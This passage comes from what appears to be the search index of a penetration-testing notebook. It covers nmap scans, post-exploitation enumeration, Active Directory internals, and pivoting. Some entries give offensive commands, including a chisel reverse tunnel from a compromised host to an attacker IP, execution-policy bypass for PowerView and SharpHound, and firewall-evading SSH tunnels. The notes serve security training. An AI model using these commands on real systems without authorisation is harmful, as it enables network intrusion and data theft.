packet to the target, initiating a TCP connection. The target responds with SYN ACK, telling Nmap that the port is accessible. Finally, Nmap terminates the connection before it's finished by issueing a RST packet.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP SYN Scan","id":"20","title":"TCP SYN Scan"},"200":{"body":"history","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Get History of Commands the User Has Run","id":"200","title":"Get History of Commands the User Has Run"},"201":{"body":"Get a list of the network interfaces connected to the machine with their IPs and MACs: ip a Get a list of the machines that the victim has been interacting with (print the ARP table): ip neigh","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Network Interfaces and Network Information","id":"201","title":"List Network Interfaces and Network Information"},"202":{"body":"netstat -ano","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Open Ports","id":"202","title":"List Open Ports"},"203":{"body":"Plenty of automated tools can be found for enumerating Windows machines. They are a bit more diverse than those available for Linux - there are precompiled binaries (.exes) available, but there are also PowerShell scripts and many more.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Introduction","id":"203","title":"Introduction"},"204":{"body":"WinPEAS is an incredible tool for enumerating Windows machines. It comes in two flavours - .bat and .exe. It doesn't really matter which one you are going to run - both will do the job just fine - however, the .exe file requires .Net version 4.5.2 or later to be installed on the machine. Enumerating system information: winpeas.exe systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Windows Enumeration with WinPEAS","id":"204","title":"Windows Enumeration with WinPEAS"},"205":{"body":"systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate System Information","id":"205","title":"Enumerate System Information"},"206":{"body":"wmic qfe","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Patches","id":"206","title":"Enumerate Patches"},"207":{"body":"wmic logicaldisk get caption,description,providername","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Drives","id":"207","title":"Enumerate Drives"},"208":{"body":"Pivoting is the act of establishing access to internal resources on a network through a compromised machine. This allows an adversary to exifltrate local data which is usually not accessible from the outside world. Moreover, it permits the use of hacking tools as if they were running from inside the network.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Introduction","id":"208","title":"Introduction"},"209":{"body":"Chisel is an open-source application for port tunneling. You can get it from https://github.com/jpillora/chisel. Clone the repo and follow the installation instructions. In order to port tunnel with chisel, you need to have a copy of the binary on both the attacking and the compromised machines.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Introduction","id":"209","title":"Introduction"},"21":{"body":"The default scan type when SYN scan isn't available - lacking root privileges (-sT option) Nmap initiates a complete TCP connection with the target The connection attempts are loggen onto the target It's usually slower","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP Connect Scan","id":"21","title":"TCP Connect Scan"},"210":{"body":"Run the following command on the attacking machine: chisel server -p [Listen Port] --reverse & This will setup a chisel server on Listen Port. On the compromised systenm run: chisel client [Attacker IP]:[Listen Port] R:[Local Host]:[Local Port]:[Remote Host]:[Remote Port] & This will endeavour to connect to a chisel server at the specified Attacker IP and Listen Port. Once it has connected to the remote chisel server, the chisel server will open Remote Port on the Remote Host and tunnel it to the Local Port of Local Host. From now on, any traffic sent to Remote Port on the Remote Host will be forwarded to the Local Port of Local Host. Chisel also defines some defaults for these values, which means you can omit some of them: Local Host - 0.0.0.0 Remote Host - 0.0.0.0 (server localhost) As an example, suppose you start a chisel server on your attacking machine (10.10.10.189) on port 1337, and want to gain access to port 3306 on the compromised machine. On the attacking machine you run: chisel server -p 1337 --reverse & On the compromised system you will run: chisel client 10.10.10.189:1337 R:localhost:3306:localhost:31337 & The above basically translates to \"Forward any traffic intended for port 31337 localhost on my attacking machine to port 3306 on the localhost of the compromised system\".","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Creating a reverse tunnel","id":"210","title":"Creating a reverse tunnel"},"211":{"body":"SSH Tunneling is a port forwarding technique which uses SSH. It can be used to access internal resources within a network if you have SSH access to a host inside it. Additionally, the tunnel goes through a pre-existing SSH connection and can thus be utilised for bypassing firewalls.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Introduction","id":"211","title":"Introduction"},"212":{"body":"Local port forwarding is used when you want to create a bridge to a port that hosts an internal service which does not accept connections from outside the network. For this to work, you need to specify two ports - one for the service on the remote machine which you want to access and one on your local machine to create the listener on. Any packets sent to your machine on the local port will be tunneled to the port on the remote machine through the SSH connection. Whilst you will still receive any responses to requests you send through the tunnel, you won't be able to receive arbitrary data that gets sent to the remote port. The syntax is fairly simple: ssh -L [LOCAL_IP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [LOCAL_IP:] - the interface you want to open the listener on. This can be omitted and defaults to localhost. LOCAL_PORT - the port you want to start the listener on. Any traffic sent to this port will be forwarded through the tunnel. DESTINATION - the destination host. This does not need to (and most likely won't) match SSH_SERVER, since you are now trying to access an internal resource. DESTINATION_PORT - the port on the remote machine, that you want to access through the tunnel. You can also add -N -f to the above command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands. We have now established a tunnel on my Kali machine's port 8080, which will forward any traffic to 192.168.129.137:1337, which is my ubuntu server. So let's see if we can access the web page. Wait, what? We just created the tunnel, but it does not seem to work? Well, remember how the DESTINATION does not need to match the server's IP? This is because the DESTINATION is where the traffic is sent after it gets to the remote machine. In a sense, the remote machine is now the sender and not us. Therefore, in order to access a resource internal to the network, we would need to change DESTINATION to something like localhost or another computer's IP. Let's again check to see if we have access to the resource hidden behind localhost:1337 on the Ubuntu server...","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Local Port Forwarding","id":"212","title":"Local Port Forwarding"},"213":{"body":"Remote port forwarding is sort of the reverse of local port forwarding. A tunnel is opened and any traffic sent to the tunnel port on the remote machine will be forwarded to the local machine. In the exact same way as above, once the traffic is tunneled, the local machine becomes the sender. Therefore, remote port forwarding is more useful when you want to receive traffic from inside the network, rather than injecting it. You will be able to actively receive any data that is sent to the remote port, but you won't be able to send arbitrary data through the tunnel yourself. The syntax is also very similar: ssh -R [REMOTE:]REMOTE_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [REMOTE:] - the remote host to listen on. This resembles the LOCAL_IP when local port forwarding and can be omitted. If left empty, the remote machine will bind on all interfaces REMOTE_PORT - the port on the remote machine that is part of the tunnel. DESTINATION:DESTINATION_PORT - the host and port that the traffic should be sent to once it gets from the remote machine back to the local machine Once again, you can add -N -f to the command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Remote Port Forwarding","id":"213","title":"Remote Port Forwarding"},"214":{"body":"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Active Directory (AD)","id":"214","title":"Active Directory (AD)"},"215":{"body":"PowerView is a PowerShell tool for the enumeration of Windows domains. The script can be downloaded from https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1. Before running, you need to bypass PowerShell's execution policy: powershell -ep bypass Load the script using . .\\PowerView.ps1 Normally, you'd be running these commands through some sort of shell, but for the sake of simplicity, I will show them all run locally.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Overview","id":"215","title":"Overview"},"216":{"body":"Get-NetDomain","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Information","id":"216","title":"Get Domain Information"},"217":{"body":"Get-NetDomainController","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Controller Information","id":"217","title":"Get Domain Controller Information"},"218":{"body":"Get-DomainPolicy You can also get information about a specific policy with the following syntax: (Get-DomainPolicy).\"policy name\"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Retrieve Domain Policy Information","id":"218","title":"Retrieve Domain Policy Information"},"219":{"body":"Get-NetUser The output of this command is rather messy, but you can pull specific information with the following syntax: Get-NetUser | select However, there is an even better way to do that.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Users Information","id":"219","title":"Get Users Information"},"22":{"body":"These scan types make use of a small loophole in the TCP RFC to differentiate between open and closed ports. RFC 793 dictates that \"if the destination port state is CLOSED .... an incoming segment not containing a RST causes a RST to be sent in response.โ€ It also says the following about packets sent to open ports without the SYN, RST, or ACK bits set: โ€œyou are unlikely to get here, but if you do, drop the segment, and return\". Scanning systems compliant with this RFC text, any packet not containing SYN, RST, or ACK bits will beget an RST if the port is closed and no response at all if the port is open. So long as none of these flags are set, any combination of the other three (FIN, PSH, and URG) is fine. These scan types can sneak through certain non-stateful firewalls and packet filtering routers and are a little more stealthy than even a SYN scan. However, not all systems are compliant with RFC 793 - some send a RST even if the port is open. Some operating systems that do this include Microsoft Windows, a lot of Cisco devices, IBM OS/400, and BSDI. These scans will work against most Unix-based systems. It is not possible to distinguish an open from a filtered port with these scans, hence why the port states will be open|filtered.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Overview","id":"22","title":"Overview"},"220":{"body":"Get a specific properties of all the users: Get-DomainUser -Properties ,,... It is useful to always have the samaccountname as the first property selected, so that you can easily match properties with specific users.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get User Property Information","id":"220","title":"Get User Property Information"},"221":{"body":"Get-DomainComputer | select samaccountname, operatingsystem","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Machines","id":"221","title":"Get Domain Machines"},"222":{"body":"Get-NetGroup | select samaccountname, admincount, description","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Groups","id":"222","title":"Get Groups"},"223":{"body":"Get-NetGPO | select ,,...","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Group Policy Information","id":"223","title":"Get Group Policy Information"},"224":{"body":"https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Additional Resources","id":"224","title":"Additional Resources"},"225":{"body":"Bloodhound is a tool used for finding relationships and patterns within data from an Active Directory environment. It is run on the attacker's machine and accessed through a web interface. Bloodhound operates on data and this data comes from a collector which is executed on the target machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Overview","id":"225","title":"Overview"},"226":{"body":"Install Bloodhound sudo apt install bloodhound Configure neo4j - Bloodhound relies on a different tool called neo4j. It is best to change its default credentials. run neo4j sudo neo4j console open the link it gives you and use the credentials neo4j:neo4j to login change the password","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Setup","id":"226","title":"Setup"},"227":{"body":"Data is obtained through a collector. There are different ones available. You can get SharpHound from the Bloodhound GitHub repo - https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1. Start neo4j and bloodhound: sudo neo4j console sudo bloodhound Run the collector on the target machine: powershell -ep bypass . .\\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain -ZipFileName Now, move the files to the attacker machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Collecting Data for Bloodhound","id":"227","title":"Collecting Data for Bloodhound"},"228":{"body":"In Bloodhound, on the right you should see a button for Upload Data. Select the previously obtained zip file and wait for Bloodhound to process it. In the top left, click on the three dashes and you should see a summary of the data imported:","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Viewing the Data","id":"228","title":"Viewing the Data"},"229":{"body":"Through the analysis tab, you can see a bunch of pre-made queries. Their names are usually self-describing. Clicking on any of them will generate a particular graph expressing a specific relationship within the AD environment: You are also able to create custom queries.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Finding Relationships in the Data","id":"229","title":"Finding Relationships in the Data"},"23":{"body":"Doesn't set any flags. Since null scanning does not set any set flags, it can sometimes penetrate firewalls and edge routers that filter incoming packets with certain flags. It is invoked with the -sN option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Null Scan","id":"23","title":"Null Scan"},"230":{"body":"","breadcrumbs":"System Internals","id":"230","title":"System Internals"},"231":{"body":"","breadcrumbs":"System Internals ยป Linux","id":"231","title":"System Internals"},"232":{"body":"","breadcrumbs":"System Internals ยป Linux ยป Processes ยป User ID","id":"232","title":"User ID"},"233":{"body":"Linux uses a unified file system which begins at the / directory (pronounced \"root\", notwithstanding this unfortunate naming). Directory Description / The anchor of the file system. Pronounced \"root\". /root The home directory of the root user. /home The home directories of non-root users are stored here. /usr All system files are stored here - the U nix S ystem R esource. /etc Stores configuration files. /var Stores variable data files such as logs, caches, etc. /opt Any additional software which is not built-in should be installed here. /tmp Temporary data storage. Its contents are erased at every boot or at a certain period. /proc Runtime process information.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Unified File System","id":"233","title":"Unified File System"},"234":{"body":"A symbolic, or soft , link is a reference in the file system to a particular file. When the symbolic link is used in a command, the file which it references will be used instead. Symbolic links between files (or directories for that matter) can be created by using the following command: ln -s It is important to note that when using relative paths for the link, the path is relative to the link (even after it is moved) and not the current working directory. Essentially, when creating a link with a relative path, the link points to ./file. However, if the link is moved, then ./ will refer to a different directory and the link won't be able to find what it is referencing.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Symbolic Links","id":"234","title":"Symbolic Links"},"235":{"body":"Hard links are different from the symbolic links in the sense that they do not have any relationship to the original path where they link to, but only to its contents. They are just files which reference the same data as another file. Hard links are created by using the following syntax: ln Because hard links bear no connection to the path they were created with, they will still point to the same data even after they are relocated.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Hard Links","id":"235","title":"Hard Links"},"236":{"body":"Every file and directory in Linux is owned by a certain user and a group and is assigned three sets of permissions - owner, group, and all users. The owner permissions describe what the user owning the file can do with it, the group permissions describe what members of the group owning the file can do with it, and the all users permissions describe what the rest of the non-root (root is allowed everything) users which are not members of the file's group can do with it. There are 3 possible type of permissions - read (r), write (x) and execute (x). Regarding the file shown here, the permissions are shown on the left and are represented by every 3 characters after the initial dash (-). So, here the file's owner (cr0mll) has rwx permissions on it. Every member of the sysint group will have rw permissions on the file and all other users will only be able to read it.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Permissions","id":"236","title":"Permissions"},"237":{"body":"The Set Owner User ID (SUID) is a special permission which can be set on executable files. When a file with SUID set is executed, it will always run with the effective UID of the user who owns it, irrespective of which user actually passed the command (so long as the user invoking the command also has execute permissions on the file). The SUID permission is indicated by replacing the x in the permissions of the owning user with s. Setting SUID on a file can be done with the following command: chmod u+s Note The SUID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Owner User ID (SUID)","id":"237","title":"Set Owner User ID (SUID)"},"238":{"body":"Similarly to SUID, the Set Group ID (SGID) is a special permission which can be set on both executable files and directories. When set on files, it behaves in the same way SUID but rather than the files executing with the privileges of the owning user, they execute with the effective GID the owning group. When set on a directory, any file created within that directory will automatically have their group ownership set to one specified by the folder. Setting SGID on a file can be done with the following command: chmod g+s Note The SGID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Group ID (SGID)","id":"238","title":"Set Group ID (SGID)"},"239":{"body":"The sticky bit is a special permission which can be applied to directories in order to limit file deletion within them to the owners of the files. It is denoted by a t in the place of the x permission for the directory and can be set with the following command: chmod +t ","breadcrumbs":"System Internals ยป Linux ยป File System ยป Sticky Bit","id":"239","title":"Sticky Bit"},"24":{"body":"Sets just the FIN bit to on. It is invoked with -sF:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป FIN Scan","id":"24","title":"FIN Scan"},"240":{"body":"The command line, is a text-based interface which allows for interaction with the computer and execution of commands. The actual command interpreter which carries out the commands is referred to as the shell and there are multiple examples of shells such as bash, zsh, sh, etc.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Introduction","id":"240","title":"Introduction"},"241":{"body":"It is possible to redirect input and output from and to files when invoking commands: Redirection Description < in_file Redirect in_file into the command's standard input. > out_file Redirect the command's standard output into out_file by overwriting it. >> out_file Redirect the command's standard output into out_file by appending to it. > err_file Redirect the command's standard error into err_file by overwriting it. >> err_file Redirect the command's standard error into err_file by appending to it.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Input and Output Redirection","id":"241","title":"Input and Output Redirection"},"242":{"body":"Moreover, information may be redirected directly from one command to another by using unnamed pipes (|).","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Pipes","id":"242","title":"Pipes"},"243":{"body":"","breadcrumbs":"System Internals ยป Windows","id":"243","title":"System Internals"},"244":{"body":"Active Directory (AD) is a directory service for Windows network environments. It allows an organisation to store directory data and make it available to the users in a given network. AD has a distributed hierarchical structure that allows for the management of an organisation's resources such as users, computers, groups, network devices, file shares, group policies, servers, workstations and trusts. Furthermore, it provides authentication and authorization functionality to Windows domain environments. Essentially, AD is a large database of information which is accessible to all users within a domain, irrespective of their privilege level. This means that a standard user account can be used to enumerate a large portion of all AD components.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Introduction","id":"244","title":"Introduction"},"245":{"body":"Resources in Active Directory are represented by objects. An object is any resource present within Active Directory such as OUs, printers, users, domain controllers, etc. Every object has a set of characteristic attributes which describe it. For example, a computer object has attributes such as hostname and DNS name. Additionally, all AD attributes are associated with an LDAP name which can be used when performing LDAP queries. Every object carries information in these attributes, some of which are mandatory and some optional. Objects can be instantiated with a predefined set of attributes from a class in order to make the process of object creation easier. For example, the computer object PC1 will be an instance of the computer class in Active Directory. It is common for objects to contain other objects, in which case they are called containers . An object holding no other objects is known as a leaf .","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Objects","id":"245","title":"Objects"},"246":{"body":"Objects are organised in logical groups called domains . These can further have nested subdomains in them and can either operate independently or be linked to other domains via trust relationships. A root domain together with all of its subdomains and nested objects is known as a tree . A collection of trees is referred to as a forest (really???). It is the root container for all objects in a given AD environment. Following is an example forest with a single tree: COMPANY.LOCAL/\nโ”œโ”€ ADMIN.COMPANY.LOCAL\nโ”‚ โ”œโ”€ GPOs\nโ”‚ โ”œโ”€ OUs\nโ”‚ โ”‚ โ”œโ”€ EMPLOYEES\nโ”‚ โ”‚ โ”‚ โ”œโ”€ COMPUTERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ PC1\nโ”‚ โ”‚ โ”‚ โ”œโ”€ USERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ jdoe\nโ”‚ โ”‚ โ”‚ โ”œโ”€ GROUPS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ STAFF\nโ”œโ”€ DEV.COMPANY.LOCAL\nโ”œโ”€ MAIL.COMPANY.LOCAL","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Object Organisation","id":"246","title":"Object Organisation"},"247":{"body":"The full path to an object in AD is specified via a Distinguished Name (DN) . A Relative Distinguished Name (RDN) is a single component of the DN that separates the object from other objects at the current level in the naming hierarchy. RDNs are represented as attribute-value pairs in the form attribute=value, typically expressed in UTF-8. A DN is simply a comma-separated list of RDNs which begins with the top-most hierarchical layer and becomes more specific as you go to the right. For example, the DN for the John Doe user would be dc=local,dc=company,dc=admin,ou=employees,ou=users,cn=jdoe. The following attribute names for RDNs are defined: LDAP Name Attribute DC domainComponent CN commonName OU organizationalUnitName O organizationName STREET streetAddress L localityName ST stateOrProvinceName C countryName UID userid It is also important to note that the following characters are special and need to be escaped by a \\ if they appear in the attribute value: Character Description space or # at the beginning of a string space at the end of a string , comma + plus sign \" double quotes \\ backslash / forwards slash < left angle bracket > right angle bracket ; semicolon LF line feed CR carriage return = equals sign","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Distinguished Name (DN) & Relative Distinguished Name (RDN)","id":"247","title":"Distinguished Name (DN) & Relative Distinguished Name (RDN)"},"248":{"body":"Trusts in Active Directory allow for forest-forest or domain-domain links. They allow users in one domain to access resources in another domain where their account does not reside. The way they work is by linking the authentication systems between two domains. The two parties in a trust do not necessarily have the same capabilities with respect to each other: One-way trusts allow only one party to access the resources of the other. The trusted domain is considered the one accessing the resources and the trusting domain is the one providing them. Two-way trusts allow the parties to mutually access each other's resources. Additionally, trusts can either be transitive or non-transitive. Transitivity means that the trust relationship is propagated upwards through a domain tree as it is formed. For example, a transitive two-way trust is established between a new domain and its parent domain upon creation. Any children of the new domain (grandchildren of the parent domain) will also then share a trust relationship with the master parent. Five possible types of trusts can be discerned depending on the relationships between the systems being linked: Trust Description Parent-child A two-way transitive relationship between a parent and a child domain. Cross-link A trust between two child domains at the same hierarchical level, which is used to speed up authentication. External A non-transitive trust between two separate domains in separate forests which are not already linked by a forest trust. Tree-root A two-way transitive trust between a forest root domain and a new tree root domain. Forest A transitive trust between two forest root domains in separate forests.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Trusts","id":"248","title":"Trusts"},"249":{"body":"A contact in AD contains information about an external person or company that may need to be contacted on a regular basis. Contact objects are instances of the Contact class and are considered leaf objects. Their attributes include first name, last name, email address, telephone number, etc. Contacts are not security principals - they lack a SID and only have a GUID.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Contacts ยป Introduction","id":"249","title":"Introduction"},"25":{"body":"Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. It is performed through the -sX option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Xmas Scan","id":"25","title":"Xmas Scan"},"250":{"body":"Security Principal - any object which can be authenticated by the operating system, such as user or computer accounts, or a thread/process running in the security context of a user or computer account, or the security groups for these accounts. Security Identifier (SID) - a unique identifier which identifies a security principal/group. Every security principal has its own unique SID, which is issued by the domain controller and stored in a security database.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Terminology","id":"250","title":"System Internals"},"251":{"body":"A user in AD stores information about an employee or contractor who works for the organisation. These objects are instances of the User class . User objects are leaf objects, since they do not contain any other objects. Every user is considered a security principal and has its own SID and GUID. Additionally, user objects can have numerous different attributes such as display name, email address, last login time, etc - well in excess of 800.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Introduction","id":"251","title":"Introduction"},"252":{"body":"Domain Users in AD are the ones who are capable of accessing resources in the Active Directory environment. These users can log into any host on the network. All domain users have 5 essential naming attributes as well as many others: Attribute Description UserPrincipalName (UPN) The primary logon name for the user, which uses the user's email by convention. ObjectGUID A unique identifier for the user which is never changed even after removal of the user. SAMAccountName A logon name providing support for previous versions of Windows. objectSID The user's security identifier (SID) which identifies the user and their group memberships. sIDHistory A history of the user's SIDs which keeps track of the SIDs for the user when they migrate from one domain to another.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Domain Users","id":"252","title":"Domain Users"},"253":{"body":"Groups are instances of the AD Group class. They provide the means to mass assign permissions to users, making administration a lot easier. The administrator assigns a set of privileges to the group and they will be inherited by any user who joins it. Groups have two essential characteristics - type and scope.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Introduction","id":"253","title":"Introduction"},"254":{"body":"The group type identifies the group's purpose and must be chosen upon creation of the group. There are two types of groups. Security groups are best suited precisely for the purpose described above - mass assignment of permissions to users. Distributions groups are a bit different - they are unable to assign any permissions and are really only used by email applications for the distribution of messages to their members. They resemble mailing lists and can be auto-filled in the recipient field when sending emails using Microsoft Outlook.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Type","id":"254","title":"Group Type"},"255":{"body":"There are three possible group scopes and once again must be selected upon creation of the group. The group scope determines the level of permissions that can be assigned via the group. Domain Local groups can only be used to manage permissions only regarding resources within the domain that the group belongs to. Whilst such groups cannot be used in other domains, they can contain users from other domains. Additionally, nesting of domain local groups is allowed within other domain local groups but not within global ones. Global groups allow access to resources in a different domain from the one they belong to, although they may only contain users from their origin domain. Nesting of global groups is allowed both in other global groups and local groups. Universal groups allow permissions management across all domains within the same forest. They are stored in the Global Catalog and any change made directly to them triggers forest-wide replication. To avoid unnecessary replications, administrators are advised to keep users and computers in global groups which are themselves stored in universal groups. It is also possible to change the scope of a group under certain conditions: A global group can be promoted to a universal group if it is not part of another global group. A domain local group can be promoted to a universal group if it does not contain any other domain local groups. A universal group can be demoted to a global group if it does not contain any other universal groups. A universal group can be freely demoted to a domain local group.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Scope","id":"255","title":"Group Scope"},"256":{"body":"Some built-in groups are automatically created when an AD environment is set up. These groups have specific purposes and cannot contain other groups - only users. Group Name Description Account Operators Management of most account types with the exception of the Administrator account, administrative user accounts, or members of the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Additionally, members can log in locally to domain controllers. Administrators Full access to a computer or an entire domain provided that they are in this group on a domain controller. Backup Operators Ability to back up or restore all files on a computer, irrespective of the permissions set on it; ability to log on and shut down the computer; ability to log on domain controllers locally; ability to make shadow copies of SAM/NTDS databases. DnsAdmins Access to DNS network information. Only created if the DNS server role is installed at some point on a domain controller. Domain Admins Full permissions to administer the domain; local administrators on every domain-joined machine. Domain Computers Stores all computers which are not domain controllers. Domain Controllers Stores all domain controllers in the domain. Domain Guests Includes the built-in Guest account. Domain Users Stores all users in the domain. Enterprise Admins Complete configuration access within the domain; ability to make forest-wide changes such as creating child domains and trusts; only exists in root domains. Event Log Readers Ability to read event logs on local computers. Group Policy Creator Owners Management of GPOs in the domain. Hyper-V Administrators Complete access to all Hyper-V features. IIS_IUSRS Used by IIS. Preโ€“Windows 2000 Compatible Access Provides backwards-compatibility with Windows NT 4.0 or earlier. Print Operators Printer management; ability to log on to DCs and load printer drivers. Protected Users Provides additional protection against attacks such as credential theft or Kerberoasting. Read-Only Domain Controllers Contains all read-only DCs in the domain. Remote Desktop Users Ability to connect to a host via RDP. Remote Management Users Schema Admins Ability to modify the AD schema. Server Operators Ability to modify services, SMB shares and backup files on domain controllers.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Default Groups","id":"256","title":"Default Groups"},"257":{"body":"Domain Controllers (DCs) are at the heart of Active Directory. There are Flexible Single Master Operation (FSMO) roles which can be assigned separately to domain controllers in order to avoid conflicts when data is update in the AD environment. These roles are the following: Role Description Schema Master Management of the AD schema. Domain Naming Master Management of domain names - ensures that no two domains in the same forest share the same name. Relative ID (RID) Master Assignment of RIDs to other DCs within the domain, which helps to ensure that no two objects share the same SID. PDC Emulator The authoritative DC in the domain - responds to authentication requests, password changes, and manages Group Policy Objects (GPOs). Additionally, it keeps track of time within the domain. Infrastructure Master Translation of GUIDs, SIDs, and DNs between domains in the same forest.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Domain Controllers ยป Introduction","id":"257","title":"Introduction"},"258":{"body":"A computer object is an instance of the Computer class in Active Directory and represents a workstation or server connected to the AD network. Computer objects are security principals and therefore have both a SID and GUID. These are prime targets for adversaries, since full administrative access to a computer (NT AUTHORITY\\SYSTEM) grants privileges similar to those of a standard domain user and can be used to enumerate the AD environment.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Computers ยป Introduction","id":"258","title":"Introduction"},"259":{"body":"Windows uses the New Technology File System (NTFS) for managing its files and folders. What makes it special is its ability to automatically repair files and folders on disk using log files in case of a failure. Additionally, it lifts certain limitations which were characteristic of its predecessors by supporting files larger than 4GB, being able to set permissions on specific files and folders and being able to avail itself of both compression and encryption. Another peculiar feature of NTFS are Alternate Data Streams .","breadcrumbs":"System Internals ยป Windows ยป File System ยป Introduction","id":"259","title":"Introduction"},"26":{"body":"The BIND software is the most commonly used name server software, which supports CHAOSNET queries. This can be used to query the name server for its software type and version. We are no longer querying the domain name system but are instead requesting information about the BIND instance. Our queries will still take the form of domain names - using .bind as the top-level domain. The results from such a query are returned as TXT records. Use the following syntax for quering BIND with the CHAOS class: dig @ โ”Œโ”€โ”€(cr0mll@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 chaos version.bind txt ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 chaos version.bind txt\n; (1 server found)\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38138\n;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1\n;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;version.bind. CH TXT ;; ANSWER SECTION:\nversion.bind. 0 CH TXT \"9.8.1\" ;; AUTHORITY SECTION:\nversion.bind. 0 CH NS version.bind. ;; Query time: 0 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Tue Sep 14 16:24:35 EEST 2021\n;; MSG SIZE rcvd: 73 Looking at the answer section, we see that this name server is running BIND 9.8.1. Other chaos records you can request are hostname.bind, authors.bind, and server-id.bind.","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป Enumerating 